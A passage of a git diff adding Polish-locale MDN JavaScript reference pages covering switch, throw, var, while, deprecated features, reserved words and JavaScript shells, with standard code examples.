output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.</p> + +<pre class="brush: js">var foo = 1; +var output = 'Output: '; +switch (foo) { + case 10: + output += 'So '; + case 1: + output += 'What '; + output += 'Is '; + case 2: + output += 'Your '; + case 3: + output += 'Name'; + case 4: + output += '?'; + console.log(output); + break; + case 5: + output += '!'; + console.log(output); + break; + default: + console.log('Please pick a number from 0 to 6!'); +}</pre> + +<p>The output from this example:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Value</th> + <th scope="col">Log text</th> + </tr> + <tr> + <td>foo is NaN or not 1, 2, 3, 4, 5 or 10</td> + <td>Please pick a number from 0 to 6!</td> + </tr> + <tr> + <td>10</td> + <td>Output: So What Is Your Name?</td> + </tr> + <tr> + <td>1</td> + <td>Output: What Is Your Name?</td> + </tr> + <tr> + <td>2</td> + <td>Output: Your Name?</td> + </tr> + <tr> + <td>3</td> + <td>Output: Name?</td> + </tr> + <tr> + <td>4</td> + <td>Output: ?</td> + </tr> + <tr> + <td>5</td> + <td>Output: !</td> + </tr> + </tbody> +</table> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.2</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.statements.switch")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/throw/index.html b/files/pl/web/javascript/referencje/polecenia/throw/index.html new file mode 100644 index 0000000000..a8d57064f5 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/throw/index.html @@ -0,0 +1,197 @@ +--- +title: throw +slug: Web/JavaScript/Referencje/Polecenia/throw +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/throw +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>The <strong><code>throw</code> statement</strong> throws a user-defined exception. Execution of the current function will stop (the statements after <code>throw</code> won't be executed), and control will be passed to the first <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> block in the call stack. If no <code>catch</code> block exists among caller functions, the program will terminate.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div> + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">throw <em>expression</em>; </pre> + +<dl> + <dt><code>expression</code></dt> + <dd>The expression to throw.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>Use the <code>throw</code> statement to throw an exception. When you throw an exception, <code>expression</code> specifies the value of the exception. Each of the following throws an exception:</p> + +<pre class="brush: js">throw 'Error2'; // generates an exception with a string value +throw 42; // generates an exception with the value 42 +throw true; // generates an exception with the value true</pre> + +<p>Also note that the <code>throw</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> as no line terminator between the <code>throw</code> keyword and the expression is allowed.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Throw_an_object">Throw an object</h3> + +<p>You can specify an object when you throw an exception. You can then reference the object's properties in the <code>catch</code> block. The following example creates an object of type <code>UserException</code> and uses it in a <code>throw</code> statement.</p> + +<pre class="brush: js">function UserException(message) { + this.message = message; + this.name = 'UserException'; +} +function getMonthName(mo) { + mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec) + var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', + 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; + if (months[mo] !== undefined) { + return months[mo]; + } else { + throw new UserException('InvalidMonthNo'); + } +} + +try { + // statements to try + var myMonth = 15; // 15 is out of bound to raise the exception + var monthName = getMonthName(myMonth); +} catch (e) { + monthName = 'unknown'; + console.log(e.message, e.name); // pass exception object to err handler +} +</pre> + +<h3 id="Another_example_of_throwing_an_object">Another example of throwing an object</h3> + +<p>The following example tests an input string for a U.S. zip code. If the zip code uses an invalid format, the throw statement throws an exception by creating an object of type <code>ZipCodeFormatException</code>.</p> + +<pre class="brush: js">/* + * Creates a ZipCode object. + * + * Accepted formats for a zip code are: + * 12345 + * 12345-6789 + * 123456789 + * 12345 6789 + * + * If the argument passed to the ZipCode constructor does not + * conform to one of these patterns, an exception is thrown. + */ + +function ZipCode(zip) { + zip = new String(zip); + pattern = /[0-9]{5}([- ]?[0-9]{4})?/; + if (pattern.test(zip)) { + // zip code value will be the first match in the string + this.value = zip.match(pattern)[0]; + this.valueOf = function() { + return this.value + }; + this.toString = function() { + return String(this.value) + }; + } else { + throw new ZipCodeFormatException(zip); + } +} + +function ZipCodeFormatException(value) { + this.value = value; + this.message = 'does not conform to the expected format for a zip code'; + this.toString = function() { + return this.value + this.message; + }; +} + +/* + * This could be in a script that validates address data + * for US addresses. + */ + +const ZIPCODE_INVALID = -1; +const ZIPCODE_UNKNOWN_ERROR = -2; + +function verifyZipCode(z) { + try { + z = new ZipCode(z); + } catch (e) { + if (e instanceof ZipCodeFormatException) { + return ZIPCODE_INVALID; + } else { + return ZIPCODE_UNKNOWN_ERROR; + } + } + return z; +} + +a = verifyZipCode(95060); // returns 95060 +b = verifyZipCode(9560); // returns -1 +c = verifyZipCode('a'); // returns -1 +d = verifyZipCode('95060'); // returns 95060 +e = verifyZipCode('95060 1234'); // returns 95060 1234 +</pre> + +<h3 id="Rethrow_an_exception">Rethrow an exception</h3> + +<p>You can use <code>throw</code> to rethrow an exception after you catch it. The following example catches an exception with a numeric value and rethrows it if the value is over 50. The rethrown exception propagates up to the enclosing function or to the top level so that the user sees it.</p> + +<pre class="brush: js">try { + throw n; // throws an exception with a numeric value +} catch (e) { + if (e <= 50) { + // statements to handle exceptions 1-50 + } else { + // cannot handle this exception, so rethrow + throw e; + } +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.4</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.statements.throw")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/var/index.html b/files/pl/web/javascript/referencje/polecenia/var/index.html new file mode 100644 index 0000000000..aff42bcdac --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/var/index.html @@ -0,0 +1,61 @@ +--- +title: var +slug: Web/JavaScript/Referencje/Polecenia/var +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/var +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Deklaruje zmienną oraz opcjonalnie przypisuje jej wartość początkową. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Instrukcja</td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.0, NES 2.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +var <i>varname1</i> {{ mediawiki.external('= <i>value1</i>') }}, <i>varname2</i> {{ mediawiki.external('= <i>value2</i>') }}, ..., <i>varnameN</i> {{ mediawiki.external('= <i>valueN</i>') }}; +</code> +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>varnameN</code> </dt><dd> Nazwa zmiennej. Może być dowolnym, dozwolonym identyfikatorem. +</dd></dl> +<dl><dt> <code>valueN</code> </dt><dd> Zainicjalizowanie wartości zmiennej. Może być dowolnym, dozwolonym wyrażeniem. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Zasięgiem zmiennej jest aktualna funkcja lub, jeśli zmienna została zadeklarowana poza funkcją, aktualna aplikacja. +</p><p>Użycie <code>var</code> poza funkcją jest opcjonalne; przypisanie wartości do niezadeklarowanej zmiennej domyślnie deklaruje ją jako zmienna globalną. Zalecane jest jednak, aby zawsze używać <code>var</code>, ponadto jest to konieczne wewnątrz funkcji w następujących przypadkach: +</p> +<ul><li> Jeśli zmienna w zasięgu obejmującym funkcję (łącznie z zasięgiem globalnym) posiada tę samą nazwę. +</li><li> Jeśli funkcje rekurencyjne lub złożone używają zmiennych o tych samych nazwach, które mają być lokalne. +</li></ul> +<p>Niepowodzenie zadeklarowania zmiennej w tych przypadkach będzie najprawdopodobniej prowadzić do niespodziewanych wyników. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_var" name="Przyk.C5.82ad:_Zastosowanie_var"> Przykład: Zastosowanie <code>var</code> </h4> +<p>Poniższy przykład deklaruje dwie zmienne, <code>num_hits</code> i <code>cust_no</code> i przypisuje im obu początkową wartość 0. +</p> +<pre class="eval">var num_hits = 0, cust_no = 0; +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/const">const</a> +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/var", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/var", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/var", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/var" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/while/index.html b/files/pl/web/javascript/referencje/polecenia/while/index.html new file mode 100644 index 0000000000..103762fd01 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/while/index.html @@ -0,0 +1,61 @@ +--- +title: while +slug: Web/JavaScript/Referencje/Polecenia/while +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/while +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Tworzy pętlę, która wylicza wyrażenie <code>i</code>, jeśli jest ono prawdą, wykonuje blok poleceń. Wykonywanie pętli powtarza się, póki warunek jest prawdziwy. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td colspan="2">Polecenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.0, NES 2.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">while (<i>warunek</i>) { + <i>polecenia</i> +} +</pre> +<h3 id="Parametery" name="Parametery"> Parametery </h3> +<dl><dt> <code>warunek</code> </dt><dd> Wyliczany przed każdym wejściem w blok poleceń. Jeśli warunek jest prawdą, polecenia w bloku są wykonywane. Jeśli nie jest, sterowanie przepływa do pierwszego polecenia za pętlą. +</dd></dl> +<dl><dt> <code>polecenia</code> </dt><dd> Blok poleceń wykonywanych póki warunek jest spełniony. Dobrą praktyką jest stosowanie w tym miejscu wcięć (indentacji), zwiększających czytelność kodu. +</dd></dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<p>Poniższa pętla <code>while</code> wykonuje się dopóki n jest mniejsze niż trzy. +</p> +<pre class="eval">n = 0; +x = 0; +while(n < 3) { + n ++; + x += n; +} +</pre> +<p>Po każdej iteracji pętla zwiększa n i dodaje je do x. Dlatego też x i n przyjmują następujące wartości: +</p> +<ul><li> Po pierwszym przejściu: n = 1, x = 1 +</li><li> Po drugim przejściu: n = 2, x = 3 +</li><li> Po trzecim przejściu: n = 3, x = 6 +</li></ul> +<p>Po ukończeniu trzeciego przejścia warunek n < 3 nie jest już spełniony, zatem wykonywanie pętli kończy się. +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/while" } ) }} diff --git a/files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html b/files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html new file mode 100644 index 0000000000..92c805ac17 --- /dev/null +++ b/files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html @@ -0,0 +1,292 @@ +--- +title: Przestarzałe własności i metody +slug: Web/JavaScript/Referencje/Przestarzałe_własności_i_metody +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features +--- +<div>{{JsSidebar("More")}}</div> + +<p>This page lists features of JavaScript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).</p> + +<h2 id="Deprecated_features">Deprecated features</h2> + +<p>These deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. You should work to remove their use from your code.</p> + +<h3 id="RegExp_properties">RegExp properties</h3> + +<p>The following properties are deprecated. This does not affect their use in {{jsxref("String.replace", "replacement strings", "", 1)}}:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Property</th> + <th>Description</th> + </tr> + <tr> + <td>{{jsxref("RegExp.n", "$1-$9")}}</td> + <td> + <p>Parenthesized substring matches, if any.<br> + <strong>Warning:</strong> Using these properties can result in problems, since browser extensions can modify them. Avoid them!</p> + </td> + </tr> + <tr> + <td>{{jsxref("RegExp.input", "$_")}}</td> + <td>See <code>input</code>.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.multiline", "$*")}}</td> + <td>See <code>multiline</code>.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.lastMatch", "$&")}}</td> + <td>See <code>lastMatch</code>.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.lastParen", "$+")}}</td> + <td>See <code>lastParen</code>.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.leftContext", "$`")}}</td> + <td>See <code>leftContext</code>.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.rightContext", "$'")}}</td> + <td>See <code>rightContext</code>.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.input", "input")}}</td> + <td>The string against which a regular expression is matched.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td> + <td>The last matched characters.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td> + <td>The last parenthesized substring match, if any.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td> + <td>The substring preceding the most recent match.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td> + <td>The substring following the most recent match.</td> + </tr> + </tbody> +</table> + +<p>The following are now properties of <code>RegExp</code> instances, no longer of the <code>RegExp</code> object:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Property</th> + <th>Description</th> + </tr> + <tr> + <td>{{jsxref("RegExp.global", "global")}}</td> + <td>Whether or not to test the regular expression against all possible matches in a string, or only against the first.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td> + <td>Whether or not to ignore case while attempting a match in a string.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td> + <td>The index at which to start the next match.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.multiline", "multiline")}}</td> + <td>Whether or not to search in strings across multiple lines.</td> + </tr> + <tr> + <td>{{jsxref("RegExp.source", "source")}}</td> + <td>The text of the pattern.</td> + </tr> + </tbody> +</table> + +<h3 id="RegExp_methods">RegExp methods</h3> + +<ul> + <li>The {{jsxref("RegExp.compile", "compile()")}} method is deprecated.</li> + <li>The <code>valueOf</code> method is no longer specialized for <code>RegExp</code>. Use {{jsxref("Object.valueOf()")}}.</li> +</ul> + +<h3 id="Function_properties">Function properties</h3> + +<ul> + <li>The {{jsxref("Global_Objects/Function/caller", "caller")}} and {{jsxref("Global_Objects/Function/arguments", "arguments")}} properties are deprecated, because they leak the function caller. Instead of the arguments property, you should use the {{jsxref("Functions/arguments", "arguments")}} object inside function closures.</li> +</ul> + +<h3 id="Legacy_generator">Legacy generator</h3> + +<ul> + <li>{{jsxref("Statements/Legacy_generator_function", "Legacy generator function statement")}} and {{jsxref("Operators/Legacy_generator_function", "Legacy generator function expression")}} are deprecated. Use {{jsxref("Statements/function*", "function* statement")}} and {{jsxref("Operators/function*", "function* expression")}} instead.</li> + <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} and {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} are deprecated.</li> +</ul> + +<h3 id="Iterator">Iterator</h3> + +<ul> + <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} is deprecated.</li> + <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} is deprecated.</li> +</ul> + +<h3 id="Object_methods">Object methods</h3> + +<ul> + <li>{{jsxref("Object.watch", "watch")}} and {{jsxref("Object.unwatch", "unwatch")}} are deprecated. Use {{jsxref("Proxy")}} instead.</li> + <li><code>__iterator__</code> is deprecated.</li> + <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} is deprecated. Use {{jsxref("Proxy")}} instead.</li> +</ul> + +<h3 id="Date_methods">Date methods</h3> + +<ul> + <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} and {{jsxref("Global_Objects/Date/setYear", "setYear")}} are affected by the Year-2000-Problem and have been subsumed by {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} and {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li> + <li>You should use {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} instead of the deprecated {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} method in new code.</li> + <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} is deprecated.</li> +</ul> + +<h3 id="Functions">Functions</h3> + +<ul> + <li>{{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}} are deprecated. Use regular {{jsxref("Operators/function", "functions")}} or {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} instead.</li> +</ul> + +<h3 id="Proxy">Proxy</h3> + +<ul> + <li><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> and <a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> are deprecated. Use {{jsxref("Proxy")}} instead.</li> + <li>The following traps are obsolete: + <ul> + <li><code>hasOwn</code> ({{bug(980565)}}, Firefox 33).</li> + <li><code>getEnumerablePropertyKeys</code> ({{bug(783829)}}, Firefox 37)</li> + <li><code>getOwnPropertyNames</code> ({{bug(1007334)}}, Firefox 33)</li> + <li><code>keys</code> ({{bug(1007334)}}, Firefox 33)</li> + </ul> + </li> +</ul> + +<h3 id="Escape_sequences">Escape sequences</h3> + +<ul> + <li>Octal escape sequences (\ followed by one, two, or three octal digits) are deprecated in string and regular expression literals.</li> + <li>The {{jsxref("Global_Objects/escape", "escape")}} and {{jsxref("Global_Objects/unescape", "unescape")}} functions are deprecated. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} to encode and decode escape sequences for special characters.</li> +</ul> + +<h3 id="String_methods">String methods</h3> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/tag/HTML%20wrapper%20methods">HTML wrapper methods</a> like {{jsxref("String.prototype.fontsize")}} and {{jsxref("String.prototype.big")}}.</li> + <li>{{jsxref("String.prototype.quote")}} is removed from Firefox 37.</li> + <li>non standard <code>flags</code> parameter in {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, and {{jsxref("String.prototype.replace")}} are deprecated.</li> +</ul> + +<h2 id="Obsolete_features">Obsolete features</h2> + +<p>These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.</p> + +<h3 id="Object">Object</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Property</th> + <th>Description</th> + </tr> + <tr> + <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td> + <td>Returns the number of enumerable properties directly on a user-defined object.</td> + </tr> + <tr> + <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td> + <td>Points to an object's context.</td> + </tr> + <tr> + <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td> + <td>Evaluates a string of JavaScript code in the context of the specified object.</td> + </tr> + <tr> + <td>{{jsxref("Object.observe()")}}</td> + <td>Asynchronously observing the changes to an object.</td> + </tr> + <tr> + <td>{{jsxref("Object.unobserve()")}}</td> + <td>Remove observers.</td> + </tr> + <tr> + <td>{{jsxref("Object.getNotifier()")}}</td> + <td>Creates an object that allows to synthetically trigger a change.</td> + </tr> + </tbody> +</table> + +<h3 id="Function">Function</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Property</th> + <th>Description</th> + </tr> + <tr> + <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td> + <td>Number of formal arguments.</td> + </tr> + </tbody> +</table> + +<h3 id="Array">Array</h3> + +<table class="standard-table"> + <tbody> + <tr> + <td>Property</td> + <td>Description</td> + </tr> + <tr> + <td>{{jsxref("Array.observe()")}}</td> + <td>Asynchronously observing changes to Arrays.</td> + </tr> + <tr> + <td>{{jsxref("Array.unobserve()")}}</td> + <td>Remove observers.</td> + </tr> + </tbody> +</table> + +<h3 id="Number">Number</h3> + +<ul> + <li>{{jsxref("Number.toInteger()")}}</li> +</ul> + +<h3 id="ParallelArray">ParallelArray</h3> + +<ul> + <li>{{jsxref("ParallelArray")}}</li> +</ul> + +<h3 id="Statements">Statements</h3> + +<ul> + <li>{{jsxref("Statements/for_each...in", "for each...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li> + <li>Destructuring {{jsxref("Statements/for...in", "for...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li> + <li>let blocks and let expressions are obsolete.</li> +</ul> + +<h3 id="E4X">E4X</h3> + +<p>See <a href="/en-US/docs/Archive/Web/E4X">E4X</a> for more information.</p> + +<h3 id="Sharp_variables">Sharp variables</h3> + +<p>See <a href="/en-US/docs/Archive/Web/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> for more information.</p> diff --git a/files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html b/files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html new file mode 100644 index 0000000000..b190262a84 --- /dev/null +++ b/files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html @@ -0,0 +1,17 @@ +--- +title: Słowa zarezerwowane +slug: Web/JavaScript/Referencje/Słowa_zarezerwowane +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords +--- +<p> </p> +<p>Słowa zarezerwowane nie mogą być używane jako nazwy zmiennych, funkcji, metod ani obiektów języka JavaScript. Niektóre z nich są słowami kluczowymi języka JavaScript, inne zarezerwowano do przyszłych zastosowań.</p> +<ul> <li><code>abstract</code></li> <li><code>boolean</code></li> <li><code>break</code></li> <li><code>byte</code></li> <li><code>case</code></li> <li><code>catch</code></li> <li><code>char</code></li> <li><code>class</code></li> <li><code>const</code></li> <li><code>continue</code></li> <li><code>debugger</code></li> <li><code>default</code></li> <li><code>delete</code></li> <li><code>do</code></li> <li><code>double</code></li> <li><code>else</code> <code>enum</code> <code>export</code> <code>extends</code> <code>false</code> <code>final</code> <code>finally</code> <code>float</code> <code>for</code> <code>function</code> <code>goto</code> <code>if</code> <code>implements</code> <code>import</code> <code>in</code></li> <li><code>instanceof</code> <code>int</code> <code>interface</code> <code>long</code> <code>native</code> <code>new</code> <code>null</code> <code>package</code> <code>private</code> <code>protected</code> <code>public</code> <code>return</code> <code>short</code> <code>static</code> <code>super</code></li> <li><code>switch</code> <code>synchronized</code> <code>this</code> <code>throw</code> <code>throws</code> <code>transient</code> <code>true</code> <code>try</code> <code>typeof</code> <code>var</code> <code>void</code> <code>volatile</code> <code>while</code> <code>with</code></li> +</ul> +<p> </p> + +<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Reserved_Words", "es": "es/Referencia_de_JavaScript_1.5/Palabras_Reservadas", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Mots_r\u00e9serv\u00e9s", "ja": "ja/Core_JavaScript_1.5_Reference/Reserved_Words" } ) }}</p> diff --git a/files/pl/web/javascript/shells/index.html b/files/pl/web/javascript/shells/index.html new file mode 100644 index 0000000000..67356169f7 --- /dev/null +++ b/files/pl/web/javascript/shells/index.html @@ -0,0 +1,42 @@ +--- +title: Powłoki JavaScript +slug: Web/JavaScript/Shells +translation_of: Web/JavaScript/Shells +--- +<div>{{JsSidebar}}</div> + +<p> </p> + +<p>Powłoki JavaScript pozwalają szybko przetestować fragmenty kodu <a href="/en-US/docs/Web/JavaScript">JavaScript</a> bez konieczności ponownego ładowania strony internetowej. Są niezwykle przydatne przy tworzeniu i debugowaniu kodu.</p> + +<h2 id="Samodzielne_powłoki_JavaScript">Samodzielne powłoki JavaScript</h2> + +<p>Następujące powłoki JavaScript są samodzielnymi środowiskami, takimi jak Perl lub Python.</p> + +<ul> + <li><a href="http://nodejs.org/">Node.js</a> - Node.js to platforma do łatwego budowania szybkich, skalowalnych aplikacji sieciowych.</li> + <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - samodzielna powłoka JavaScript z kompilowanymi binariami dla systemów Windows, Mac i Linux.</li> + <li><a class="external" href="http://javalikescript.free.fr/">JavaLikeScript</a> - samodzielna, rozszerzalna powłoka JavaScript, zawierająca zarówno biblioteki natywne, jak i JavaScript.</li> + <li><a class="external" href="http://gluescript.sourceforge.net/">GLUEscript</a> - samodzielna powłoka JavaScript do pisania międzyplatformowych aplikacji JavaScript. Może używać wxWidgets dla aplikacji GUI i był wcześniej nazywany wxJavaScript.</li> + <li><a class="external" href="http://jspl.msg.mx/">jspl</a> - samodzielna powłoka JavaScript rozszerzona przez Perl. Może korzystać z modułów Perla bezpośrednio z JavaScript: DBI do integracji z bazą danych, GTK2 do aplikacji GUI, POSIX do programowania systemów itp. Obecnie najlepsze z CPAN dla programistów JavaScript.</li> + <li><a class="external" href="http://shelljs.org">ShellJS</a> - Przenośne polecenia powłoki Unix dla Node.js</li> +</ul> + +<h2 id="Lista_powłok_JavaScript">Lista powłok JavaScript</h2> + +<p>Następujące powłoki JavaScript działają z Mozillą.</p> + +<ul> + <li>Firefox ma wbudowaną konsolę JavaScript o nazwie <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a>, począwszy od wersji 6.</li> + <li><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - interpreter wiersza poleceń dla JavaScript</li> + <li><a href="/en-US/docs/Mozilla/XPConnect/xpcshell">xpcshell</a> to powłoka z obsługą <a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_bindings/XPConnect">XPConnect</a>, przydatna czasem przy rozwoju Mozilli.</li> + <li><a class="external" href="http://babeljs.io/repl">Babel REPL</a> - <a href="https://en.wikipedia.org/wiki/REPL">REPL</a> oparty na przeglądarce do eksperymentowania z <u>przyszłym</u> JavaScript.</li> + <li><a class="external" href="http://es6console.com">ES6Console.com</a> - konsola JavaScript o otwartym kodzie źródłowym do testowania kodu ECMAScript 2015 w przeglądarce.</li> + <li><a class="external" href="http://jsconsole.com/">jsconsole.com</a> - konsola JavaScript o 